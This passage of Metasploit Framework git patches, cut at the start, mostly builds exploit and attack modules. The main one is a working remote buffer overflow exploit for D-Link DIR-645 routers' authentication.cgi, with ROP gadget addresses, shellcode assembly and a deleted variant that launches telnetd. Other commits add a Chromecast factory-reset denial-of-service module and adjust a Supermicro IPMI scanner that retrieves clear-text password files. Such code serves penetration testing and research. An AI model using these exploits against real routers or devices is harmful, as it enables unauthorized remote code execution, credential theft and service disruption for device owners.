'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site + [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router + [ 'URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt' ] #original advisory + ], + 'Targets' => + [ + [ 'D-Link DIR-645 1.03', + { + 'Offset' => 1011, + 'LibcBase' => 0x2aaf8000, #Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/authentication.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :linemax => 200, + :concator => "&&" + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + #'uri' => "/authentication_gdb.cgi", #for debugging on the router + 'uri' => "/authentication.cgi", + 'cookie' => "uid=test", + 'encode_params' => false, + 'vars_post' => { + 'uid' => 'test', + 'password' => 'asd' << shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end From 6f45eb13c7c8536baf38d913c1dcd3824f6c1afd Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Tue, 17 Jun 2014 08:56:07 +0200 Subject: [PATCH 14/32] moved module file --- ...hentication_rop_system_echo.rb => dlink_authentication_rop.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/http/{dlink_authentication_rop_system_echo.rb => dlink_authentication_rop.rb} (100%) diff --git a/modules/exploits/linux/http/dlink_authentication_rop_system_echo.rb b/modules/exploits/linux/http/dlink_authentication_rop.rb similarity index 100% rename from modules/exploits/linux/http/dlink_authentication_rop_system_echo.rb rename to modules/exploits/linux/http/dlink_authentication_rop.rb From 508998263b9ef1f87cbc8f6898552f68a76523e0 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Tue, 17 Jun 2014 08:57:46 +0200 Subject: [PATCH 15/32] removed wrong module file --- .../http/dlink_authentication_rop_system.rb | 125 ------------------ 1 file changed, 125 deletions(-) delete mode 100644 modules/exploits/linux/http/dlink_authentication_rop_system.rb diff --git a/modules/exploits/linux/http/dlink_authentication_rop_system.rb b/modules/exploits/linux/http/dlink_authentication_rop_system.rb deleted file mode 100644 index 0f997dadbf..0000000000 --- a/modules/exploits/linux/http/dlink_authentication_rop_system.rb +++ /dev/null @@ -1,125 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it - - HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link authentication.cgi Buffer Overflow', - 'Description' => %q{ - This module exploits an anonymous remote code execution vulnerability on different D-Link routers. - This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the - DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated - environment. They are a little bit different in the first ROP gadget. - }, - 'Author' => - [ - 'Roberto Paleari', # Vulnerability discovery - 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module - 'Michael Messner ', # Metasploit module and verification on different other routers - ], - 'License' => MSF_LICENSE, - 'Platform' => ['linux'], - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' }, - 'References' => - [ - [ 'OSVDB', '95951' ], - [ 'EDB', '27283' ], - [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site - [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router - [ 'URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt' ] #original advisory - ], - 'Targets' => - [ - [ 'DLink DIR-645 1.03 - start telnetd', - { - 'Offset' => 1011, - 'LibcBase' => 0x2aaf8000, #Router - #'LibcBase' => 0x40854000, # QEMU environment - 'System' => 0x000531FF, # address of system - 'CalcSystem' => 0x000158C8, # calculate the correct address of system - 'CallSystem' => 0x000159CC, # call our system - } - ] - ], - 'DisclosureDate' => 'Feb 08 2013', - 'DefaultTarget' => 0)) - end - - def check - begin - res = send_request_cgi({ - 'uri' => "/authentication.cgi", - 'method' => 'GET' - }) - - if res && [200, 301, 302].include?(res.code) - return Exploit::CheckCode::Detected - end - rescue ::Rex::ConnectionError - return Exploit::CheckCode::Unknown - end - - Exploit::CheckCode::Unknown - end - - def exploit - lport = datastore['LPORT'] - cmd = "/usr/sbin/telnetd -p #{lport}" - - print_status("#{peer} - Trying to access the vulnerable URL...") - - unless check == Exploit::CheckCode::Detected - fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") - end - - # prepare our shellcode that triggers the crash: - shellcode = rand_text_alpha_upper(target['Offset']) # padding - shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system - shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 - shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) - - # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 - # .text:000159D0 21 28 60 02 move $a1, $s3 # not used - # .text:000159D4 21 30 20 02 move $a2, $s1 # not used - # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system - # .text:000159DC 09 F8 20 03 jalr $t9 # call system - # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system - - shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp - shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) - - # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget - # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget - # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address - - shellcode << rand_text_alpha_upper(16) # filler in front of our command - shellcode << cmd - - # now lets rock it ... - - print_status("#{peer} - Sending exploit ...") - - res = send_request_cgi({ - 'method' => 'POST', - #'uri' => "/authentication_gdb.cgi", #for debugging on the router - 'uri' => "/authentication.cgi", - 'cookie' => "uid=test", - 'encode_params' => false, - 'vars_post' => { - 'uid' => 'test', - 'password' => 'asd' << shellcode, - } - }) - end -end From 075eec39e1e590a8cdfe68e5225caf9203b759b6 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 18 Jun 2014 10:04:17 -0500 Subject: [PATCH 16/32] Add Chromecast factory reset module --- .../admin/chromecast/chromecast_reset.rb | 55 +++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 modules/auxiliary/admin/chromecast/chromecast_reset.rb diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb new file mode 100644 index 0000000000..8a181bb512 --- /dev/null +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -0,0 +1,55 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Factory Reset', + 'Description' => %q{ + This module performs a factory reset on a Chromecast. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'https://en.wikipedia.org/wiki/Chromecast'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ], self.class) + end + + def run + res = reset + + if res && res.code == 200 + print_good('Factory reset performed') + end + end + + def reset + begin + send_request_raw( + 'method' => 'POST', + 'uri' => '/setup/reboot', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1), + 'ctype' => 'application/json', + 'data' => '{"params": "fdr"}' + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + +end From f7fd17106a9022a87c3d518158f1e84c5d481e9e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 19 Jun 2014 15:33:06 -0500 Subject: [PATCH 17/32] Add the final cari.net URL --- modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb index 86b669b84d..67f56b3f02 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -33,6 +33,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ + [ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'], [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], 'DisclosureDate' => 'Jun 12 2014')) @@ -69,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) unless is_supermicro? - print_error("#{peer} - This does not appear to be a Supermicro IPMI controller") + vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller") return end @@ -96,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary res.body.to_s, uri.split('/').last ) - print_good("#{peer} - Stored password block found at #{uri} in #{path}") + print_good("#{peer} - Password data from #{uri} stored to #{path}") end end From fa5fc724eb2cce821e3c37b5caf95d31b6ae579f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 19 Jun 2014 15:36:17 -0500 Subject: [PATCH 18/32] Fix the disclosure date --- modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb index 67f56b3f02..5edea8acdf 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'], [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], - 'DisclosureDate' => 'Jun 12 2014')) + 'DisclosureDate' => 'Jun 19 2014')) register_options( [ From 06974701cf205c8399c3540afcaa85aa01797a2b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Jun 2014 11:26:22 -0500 Subject: [PATCH 19/32] Use the old cmd_concat_operator --- lib/rex/exploitation/cmdstager/echo.rb | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 9cae5a01c2..0891a4b625 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -155,13 +155,8 @@ class CmdStagerEcho < CmdStagerBase return fixed_part end - def cmd_concat_operator(concator) - if concator =~ /&&/ - " && " - else - # default value - " ; " - end + def cmd_concat_operator + " ; " end end From 33eaf643aa5b37ce74826cfe09cfdb5cfd9306a1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Jun 2014 11:27:23 -0500 Subject: [PATCH 20/32] Fix usage of :concat_operator operator --- modules/exploits/linux/http/dlink_authentication_rop.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_authentication_rop.rb b/modules/exploits/linux/http/dlink_authentication_rop.rb index de33e9c1ee..0299255176 100644 --- a/modules/exploits/linux/http/dlink_authentication_rop.rb +++ b/modules/exploits/linux/http/dlink_authentication_rop.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") execute_cmdstager( :linemax => 200, - :concator => "&&" + :concat_operator => " && " ) end From f26f8ae5dbc265819c96ad5ec04626727eaeb35e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Jun 2014 11:27:49 -0500 Subject: [PATCH 21/32] Change module filename --- ...link_authentication_rop.rb => dlink_authentication_cgi_bof.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/http/{dlink_authentication_rop.rb => dlink_authentication_cgi_bof.rb} (100%) diff --git a/modules/exploits/linux/http/dlink_authentication_rop.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb similarity index 100% rename from modules/exploits/linux/http/dlink_authentication_rop.rb rename to modules/exploits/linux/http/dlink_authentication_cgi_bof.rb From f0d04fe77e58339c599bf444dea67bb5508816c3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Jun 2014 11:38:10 -0500 Subject: [PATCH 22/32] Do some randomizations --- .../http/dlink_authentication_cgi_bof.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index 0299255176..d69f4b46c4 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -17,10 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link authentication.cgi Buffer Overflow', 'Description' => %q{ - This module exploits an anonymous remote code execution vulnerability on different D-Link routers. - This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the - DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated - environment. They are a little bit different in the first ROP gadget. + This module exploits an remote buffer overflow vulnerability on different D-Link routers. + The vulnerability exists in the handling of HTTP queries to the authentication.cgi with + long password values. The vulnerability can be exploitable without authentication. This + module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares + like the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. }, 'Author' => [ @@ -63,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) - if res && [200, 301, 302].include?(res.code) + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError @@ -113,17 +114,16 @@ class Metasploit3 < Msf::Exploit::Remote def execute_command(cmd, opts) shellcode = prepare_shellcode(cmd) - + uid = rand_text_alpha(4) begin res = send_request_cgi({ 'method' => 'POST', - #'uri' => "/authentication_gdb.cgi", #for debugging on the router 'uri' => "/authentication.cgi", - 'cookie' => "uid=test", + 'cookie' => "uid=#{uid}", 'encode_params' => false, 'vars_post' => { - 'uid' => 'test', - 'password' => 'asd' << shellcode, + 'uid' => uid, + 'password' => rand_text_alpha(3) + shellcode, } }) return res From e8b914a62f44bee41683425f5d03a5902d3f53e4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Jun 2014 14:33:02 -0500 Subject: [PATCH 23/32] Download rankings for reliable exploit, but depending on a specific version without autodetection --- .../linux/http/dlink_authentication_cgi_bof.rb | 14 ++++++-------- .../exploits/linux/http/dlink_hedwig_cgi_bof.rb | 2 +- 2 files changed, 7 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index d69f4b46c4..d55bf44b93 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -6,9 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho @@ -34,11 +32,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_MIPSLE, 'References' => [ - [ 'OSVDB', '95951' ], - [ 'EDB', '27283' ], - [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site - [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router - [ 'URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt' ] #original advisory + ['OSVDB', '95951'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory ], 'Targets' => [ diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb index a2d4be7fbc..0fab416053 100644 --- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho From 252d917bbb30f5c154a14ff682809dd4a9acccbf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Jun 2014 17:21:10 -0500 Subject: [PATCH 24/32] Fix msftidy and favor && over and --- .../auxiliary/scanner/http/smt_ipmi_49152_exposure.rb | 10 +++++----- .../scanner/http/smt_ipmi_url_redirect_traversal.rb | 1 - 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb index 5edea8acdf..2b7659888a 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -11,16 +11,16 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report - + def initialize(info = {}) super(update_info(info, 'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure', 'Description' => %q{ - This module abuses a file exposure vulnerability accessible through the web interface + This module abuses a file exposure vulnerability accessible through the web interface on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker to obtain detailed device information and download data files containing the clear-text - usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs + usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs were exposed to the internet with this vulnerability. }, 'Author' => @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary "method" => "GET" }) - if res and res.code == 200 and res.body.to_s =~ /supermicro/i + if res && res.code == 200 && res.body.to_s =~ /supermicro/i path = store_loot( 'supermicro.ipmi.devicexml', 'text/xml', @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary next unless res - unless res.code == 200 and res.body.length > 0 + unless res.code == 200 && res.body.length > 0 vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}") next end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index b8379cc162..af35678d44 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -111,7 +111,6 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - print_status("#{peer} - Checking if it's a #{APP_NAME}....") if is_supermicro? print_good("#{peer} - Check successful") From 79bf80e6bf4fdb658d7ec7192ba0295669f1f388 Mon Sep 17 00:00:00 2001 From: William Vu Date: Sat, 21 Jun 2014 15:35:03 -0500 Subject: [PATCH 25/32] Add generic error handling Just in case a factory reset happens to fail. --- modules/auxiliary/admin/chromecast/chromecast_reset.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb index 8a181bb512..9f4b700ae3 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_reset.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -32,6 +32,8 @@ class Metasploit4 < Msf::Auxiliary if res && res.code == 200 print_good('Factory reset performed') + elsif res + print_error("An error occurred: #{res.code} #{res.message}") end end From 40d1ec551ea87e1fdef0adaefa3351b53ce9cbbb Mon Sep 17 00:00:00 2001 From: William Vu Date: Sat, 21 Jun 2014 23:15:20 -0500 Subject: [PATCH 26/32] Add WEP, PSK, and MGT --- modules/auxiliary/gather/chromecast_wifi.rb | 65 ++++++++++++++------- 1 file changed, 45 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb index da618eaf85..44b57ae886 100644 --- a/modules/auxiliary/gather/chromecast_wifi.rb +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -38,6 +38,7 @@ class Metasploit4 < Msf::Auxiliary 'PWR', 'ENC', 'CIPHER', + 'AUTH', 'ESSID' ], 'SortIndex' => -1 @@ -47,26 +48,9 @@ class Metasploit4 < Msf::Auxiliary waps << [ wap['bssid'], wap['signal_level'], - case wap['wpa_auth'] - when 1 - 'OPN' - when 5 - 'WPA' - when 7 - 'WPA2' - else - wap['wpa_auth'] - end, - case wap['wpa_cipher'] - when 1 - '' - when 3 - 'TKIP' - when 4 - 'CCMP' - else - wap['wpa_cipher'] - end, + enc(wap), + cipher(wap), + auth(wap), wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '') ] end @@ -103,4 +87,45 @@ class Metasploit4 < Msf::Auxiliary end end + def enc(wap) + case wap['wpa_auth'] + when 1 + 'OPN' + when 2 + 'WEP' + when 5 + 'WPA' + when 0, 7 + 'WPA2' + else + wap['wpa_auth'] + end + end + + def cipher(wap) + case wap['wpa_cipher'] + when 1 + '' + when 2 + 'WEP' + when 3 + 'TKIP' + when 4 + 'CCMP' + else + wap['wpa_cipher'] + end + end + + def auth(wap) + case wap['wpa_auth'] + when 0 + 'MGT' + when 5, 7 + 'PSK' + else + '' + end + end + end From 0219c4974aaba2ed66544d851148e2000f4b5eb1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 23 Jun 2014 11:17:00 -0500 Subject: [PATCH 27/32] Release fixups, word choice, refs, etc. --- modules/auxiliary/admin/chromecast/chromecast_reset.rb | 7 ++++--- modules/auxiliary/admin/chromecast/chromecast_youtube.rb | 2 +- modules/auxiliary/gather/chromecast_wifi.rb | 2 +- .../exploits/linux/http/dlink_authentication_cgi_bof.rb | 8 ++++---- modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb | 6 +++--- 5 files changed, 13 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb index 9f4b700ae3..43d4580fb3 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_reset.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -11,13 +11,14 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Chromecast Factory Reset', + 'Name' => 'Chromecast Factory Reset DoS', 'Description' => %q{ - This module performs a factory reset on a Chromecast. + This module performs a factory reset on a Chromecast, causing a denial of service (DoS). + No user authentication is required. }, 'Author' => ['wvu'], 'References' => [ - ['URL', 'https://en.wikipedia.org/wiki/Chromecast'] + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website ], 'License' => MSF_LICENSE )) diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb index 3654c33487..5036ee0b54 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary }, 'Author' => ['wvu'], 'References' => [ - ['URL', 'https://en.wikipedia.org/wiki/Chromecast'] + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website ], 'License' => MSF_LICENSE, 'Actions' => [ diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb index da618eaf85..5c52f1693a 100644 --- a/modules/auxiliary/gather/chromecast_wifi.rb +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary }, 'Author' => ['wvu'], 'References' => [ - ['URL', 'https://en.wikipedia.org/wiki/Chromecast'] + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website ], 'License' => MSF_LICENSE )) diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index d55bf44b93..d29a6f9682 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -15,17 +15,17 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link authentication.cgi Buffer Overflow', 'Description' => %q{ - This module exploits an remote buffer overflow vulnerability on different D-Link routers. + This module exploits an remote buffer overflow vulnerability on several D-Link routers. The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication. This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares - like the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. + such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. }, 'Author' => [ 'Roberto Paleari', # Vulnerability discovery 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module - 'Michael Messner ', # Metasploit module and verification on different other routers + 'Michael Messner ', # Metasploit module and verification on several other routers ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("#{peer} - Trying to access the vulnerable URL...") + print_status("#{peer} - Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb index 0fab416053..de71f2989c 100644 --- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', 'Description' => %q{ - This module exploits an anonymous remote code execution vulnerability on different D-Link + This module exploits an anonymous remote code execution vulnerability on several D-Link routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600 and the DIR645A1_FW103B11 firmware. @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Roberto Paleari', # Vulnerability discovery 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit - 'Michael Messner ', # Metasploit module and verification on different other routers + 'Michael Messner ', # Metasploit module and verification on several other routers 